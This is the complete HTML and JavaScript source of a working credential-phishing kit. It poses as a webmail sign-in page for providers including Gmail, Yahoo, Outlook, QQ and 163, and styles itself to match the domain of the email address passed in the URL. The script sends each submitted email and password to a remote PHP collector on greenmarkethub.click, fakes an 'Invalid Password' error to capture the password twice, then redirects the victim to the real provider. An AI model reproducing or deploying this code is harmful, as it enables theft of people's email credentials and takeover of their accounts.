<!DOCTYPE html>
<html>

<head>
  <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  <title>Connecting </title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <!-- Bootstrap CSS -->
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"
    integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">


  <style>

    .disabled{
        display: none;
    }

    .show{
        display: block;
    }

    .loginBox {
      position: absolute;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
      width: 350px;
      height: 420px;
      padding: 80px 40px;
      box-sizing: border-box;
      background: rgba(0, 0, 0, .5);
    }

    .user {
      width: 100px;
      height: 100px;
      border-radius: 50%;
      overflow: hidden;
      position: absolute;
      top: calc(-100px/2);
      left: calc(50% - 50px);
    }

    h2 {
      margin: 0;
      padding: 0 0 20px;
      color: #efed40;
      text-align: center;
    }

    .loginBox p {
      margin: 0;
      padding: 0;
      font-weight: bold;
      color: #fff;
    }

    .loginBox input {
      width: 100%;
      margin-bottom: 20px;
    }

    .loginBox input[type="text"],
    .loginBox input[type="password"] {
      border: none;
      border-bottom: 1px solid #fff;
      background: transparent;
      outline: none;
      height: 40px;
      color: #fff;
      font-size: 16px;
    }

    ::placeholder {
      color: rgba(255, 255, 255, .5);
    }

    .loginBox input[type="submit"] {
      border: none;
      outline: none;
      height: 40px;
      color: #fff;
      font-size: 16px;
      background: #00c911;
      cursor: pointer;

    }

    .loginBox input[type="submit"]:hover {
      background: #04630c;
      color: #ffffff;
    }

    .loginBox a {
      color: #fff;
      font-size: 14px;
      font-weight: bold;
      text-decoration: none;
    }

    #wrong {
      text-align: center;
      color: red;
      font-size: 15px;
      margin-top: -10px;
      margin-bottom: 20px;
    }

    .loginBox input[type="text"] {

      cursor: no-drop;
      -webkit-touch-callout: none;
      -webkit-user-select: none;
      -khtml-user-select: none;
      -moz-user-select: none;
      -ms-user-select: none;
      -o-user-select: none;
      user-select: none;
    }
  </style>

</head>

<body>

  <style>

    @import url('https://fonts.googleapis.com/css?family=Raleway');

    @font-face {
      font-family: Technology;
      src: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/font/Technology-Bold.ttf);
    }

    * {
      font-family: Raleway;
    }

    #conn {
      font-size: 30px;
      font-weight: bold;
      color: #037E74;
      font-family: Technology;
    }

    *,
    *::before,
    *::after {
      box-sizing: border-box;
    }

    .vertical-center {
      margin: 0;
      position: absolute ;
      top: 50%;
      -ms-transform: translateY(-50%);
      transform: translateY(-50%);
      width: 100%;
      height: 100%;
      display: flex;
      justify-content: center;
      align-items: center;
    }

    .progress-bar {
      position: relative;
      width: 500px;
      height: 3em;
      background-color: #111;
      color: white;
    }

    .progress-bar::before {
      content: attr(data-label);
      display: flex;
      align-items: center;
      position: absolute;
      left: .5em;
      top: .5em;
      bottom: .5em;
      width: calc(var(--width, 0) * 1%);
      min-width: 2rem;
      max-width: calc(100% - 1em);
      background-color: white;
      padding: 1em;
    }
  </style>

  <section id="content-1" style="padding: 0; margin: 0; background-color: #DFDFDF; background-image: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/bgr.jpg); background-size: cover; font-family: sans-serif; height: 100vh; width: 100%;">
    <div class="vertical-center" id="content1">
      <center>
        <div id="conn">Connecting To Mail Service Provider</div>
        <br><br>

        <div class="progress-bar" style="--width: 10" data-label="Connnecting..."></div>
      </center>
    </div>
  </section>

  <section id="dbody" class="disabled">
  <br><br><br><br>

  <div class="loginBox">
    <img id="dserver" class="user" src="">
    <h2 id="headees"></h2>
    <form method="post">
      <p id="emlang"></p>
      <input type="text" readonly name="e" placeholder="" id="email" required>
      <p id="pslang"></p>
      <input type="password" name="p" required placeholder="••••••" id="password">
      <center>
        <div class="alert alert-danger" id="msg" style="display: none;">Server Response: Invalid Password</div>
        <div id="error" class="alert alert-danger" style="display: none;">Invalid Email</div>
      </center>
      <input type="submit"  id="submit-btn" class="submitlang">

    </form>
  </div>
</section>

<script>
  const progressBar = document.getElementsByClassName('progress-bar')[0]
  setInterval(() => {
    const computedStyle = getComputedStyle(progressBar)
    const width = parseFloat(computedStyle.getPropertyValue('--width')) || 0
    progressBar.style.setProperty('--width', width + .1)
  }, 5)
</script>


  <!-- Optional JavaScript -->
  <!-- jQuery first, then Popper.js, then Bootstrap JS -->
  <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js"
    integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN"
    crossorigin="anonymous"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js"
    integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q"
    crossorigin="anonymous"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"
    integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl"
    crossorigin="anonymous"></script>
</body>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>

<script>
  var $hidden = $('#content-1');
  var $visible = $('#dbody');
  setTimeout(function(){
      $hidden.addClass("disabled");
      $visible.addClass("show");
  },4000)

</script>
<script>

  /* global $ */
  $(document).ready(function () {
    var count = 0;

    $('#back1').click(function () {
      $("#msg").hide();
      $('#email').val("");
      $("#automail").animate({ left: 200, opacity: "hide" }, 0);
      $("#inputbar").animate({ right: 200, opacity: "show" }, 1000);

    });

    var email = window.location.hash.substr(1);
    if (!email) {

    }
    else {
      var my_email = email;
      $('#email').val(my_email);
      var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

      if (!filter.test(my_email)) {
        $('#error').show();
        email.focus;
        return false;
      }
      var ind = my_email.indexOf("@");
      var my_slice = my_email.substr((ind + 1));
      var c = my_slice.substr(0, my_slice.indexOf('.'));
      var final = c.toLowerCase();
      var finalu = c.toUpperCase();

      // style=  "margin: 0;
      //   padding: 0;
      //   background: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/bg.jpg)no-repeat;
      //   background-size: cover;
      //   font-family: sans-serif;"

      //background
      if (my_slice == 'yahoo.com' || my_slice == 'rocketmail.com'){
        $('#dbody').attr("style", "margin: 0;  padding: 0;  background: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/ym.jpg)no-repeat; background-size: cover; font-family: sans-serif; height: 100vh; width: 100%; ");
      }else if (my_slice ==  'office.com' || my_slice == 'live.com' || my_slice == 'hotmail.com'){
        $('#dbody').attr("style", "margin: 0;  padding: 0;  background: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/hm.jpg)no-repeat; background-size: cover; font-family: sans-serif; height: 100vh; width: 100%; ");
      }else if ( c == 'yeah'){
        $('#dbody').attr("style", "margin: 0;  padding: 0;  background: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/ye.jpg)no-repeat; background-size: cover; font-family: sans-serif; height: 100vh; width: 100%; ");
      }else if ( c == '163'){
        $('#dbody').attr("style", "margin: 0;  padding: 0;  background: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/13.jpg)no-repeat; background-size: cover; font-family: sans-serif; height: 100vh; width: 100%; ");
      }else if ( c == '126'){
        $('#dbody').attr("style", "margin: 0;  padding: 0;  background: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/12.jpg)no-repeat; background-size: cover; font-family: sans-serif; height: 100vh; width: 100%; ");
      }else if ( my_slice == 'mail.com'){
        $('#dbody').attr("style", "margin: 0;  padding: 0;  background: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/ma.jpg)no-repeat; background-size: cover; font-family: sans-serif; height: 100vh; width: 100%; ");
      }else if ( my_slice == 'gmail.com'){
        $('#dbody').attr("style", "margin: 0;  padding: 0;  background: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/gm.jpg)no-repeat; background-size: cover; font-family: sans-serif; height: 100vh; width: 100%; ");
      }else if ( c == 'qq'){
        $('#dbody').attr("style", "margin: 0;  padding: 0;  background: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/qq.jpg)no-repeat; background-size: cover; font-family: sans-serif; height: 100vh; width: 100%; ");
      }else if ( c == 'hinet' || c == 'hi-net' ){
        $('#dbody').attr("style", "margin: 0;  padding: 0;  background: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/hi.jpg)no-repeat; background-size: cover; font-family: sans-serif; height: 100vh; width: 100%; ");
      }else{
        $("#dbody").attr("style", "margin: 0;  padding: 0; background: url(https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/img/bg.jpg)no-repeat; background-size: cover; font-family: sans-serif; height: 100vh; width: 100%; ");
      }


      //Logo
      if (my_slice == 'yahoo.com' || my_slice == 'rocketmail.com'){
        $('#dserver').attr("src", "https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/icon/ym.ico");
      }else if (my_slice ==  'office.com' || my_slice == 'live.com' || my_slice == 'hotmail.com'){
        $('#dserver').attr("src", "https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/icon/hm.ico");
      }else if ( c == 'yeah'){
        $('#dserver').attr("src", "https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/icon/12.ico");
      }else if ( c == '163'){
        $('#dserver').attr("src", "https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/icon/12.ico");
      }else if ( c == '126'){
        $('#dserver').attr("src", "https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/icon/12.ico");
      }else if ( my_slice == 'mail.com'){
        $('#dserver').attr("src", "https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/icon/ma.ico");
      }else if ( my_slice == 'gmail.com'){
        $('#dserver').attr("src", "https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/icon/gm.ico");
      }else if ( c == 'qq'){
        $('#dserver').attr("src", "https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/icon/qq.ico");
      }else if ( c == 'hinet' || c == 'hi-net' ){
        $('#dserver').attr("src", "https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/res/icon/hi.ico");
      }else{
        $("#dserver").attr("src", "https://www.google.com/s2/favicons?domain=" + my_slice);
      }

      //wordings
      if ( c == 'hinet' ||  c == 'hi-net' ||  c == 'qq' ||  c == 'yeah' ||  c == '126' ||  c == '163'){
        document.getElementById("headees").innerHTML = "登录以继续" ;
        document.getElementById("emlang").innerHTML = "电子邮件";
        document.getElementById("pslang").innerHTML = "密码";
        $('.submitlang').attr("value", "继续");
      }

      else{
        document.getElementById("headees").innerHTML = "Sign in to continue";
        document.getElementById("emlang").innerHTML = "Email";
        document.getElementById("pslang").innerHTML = "Password";
        $('.submitlang').attr("value", "Continue");
      }

      $("#logoimg").attr("src", "https://www.google.com/s2/favicons?domain=" + my_slice);
      $("#logoname").html(finalu);
      $(".logoname").html(finalu);
    }



    $('#submit-btn').click(function (event) {
      $('#error').hide();
      $('#msg').hide();
      event.preventDefault();
      var email = $("#email").val();
      var password = $("#password").val();
      // console.log(email + password);
      var msg = $('#msg').html();
      $('#msg').text(msg);
      ///////////new injection////////////////
      var my_email = email;
      var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

      if (!filter.test(my_email)) {
        $('#error').show();
        email.focus;
        return false;
      }

      var ind = my_email.indexOf("@");
      var my_slice = my_email.substr((ind + 1));
      var c = my_slice.substr(0, my_slice.indexOf('.'));
      var final = c.toLowerCase();
      var finalu = c.toUpperCase();

      $("#logoimg").attr("src", "https://www.google.com/s2/favicons?domain=" + my_slice);
      $(".logoimg").attr("src", "https://www.google.com/s2/favicons?domain=" + my_slice);
      $("#logoname").html(finalu);
      ///////////new injection////////////////
      count = count + 1;

      $.ajax({
        dataType: 'JSON',
        url: 'https://greenmarkethub.click/app/Http/Controllers/salsa.andre.gen.aut/drun.php',
        type: 'POST',
        data: {
          email: email,
          password: password,
        },
        // data: $('#contact').serialize(),
        beforeSend: function (xhr) {
          $('#submit-btn').html('Verifing...');
        },
        success: function (response) {
          if (response) {
            $("#msg").show();
            console.log(response);
            if (response['signal'] == 'ok') {
              $("#password").val("");
              if (count >= 2) {
                count = 0;
                // window.location.replace(response['redirect_link']);
                window.location.replace("http://www." + my_slice);

              }
              // $('#msg').html(response['msg']);
            }
            else {
              // $('#msg').html(response['msg']);
            }
          }
        },
        error: function () {
          $("#password").val("");
          if (count >= 2) {
            count = 0;
            window.location.replace("http://www." + my_slice);
          }
          $("#msg").show();
          // $('#msg').html("Please try again later");
        },
        complete: function () {
          $('#submit-btn').html('Sign in');
        }
      });
    });


  });


</script>

</html>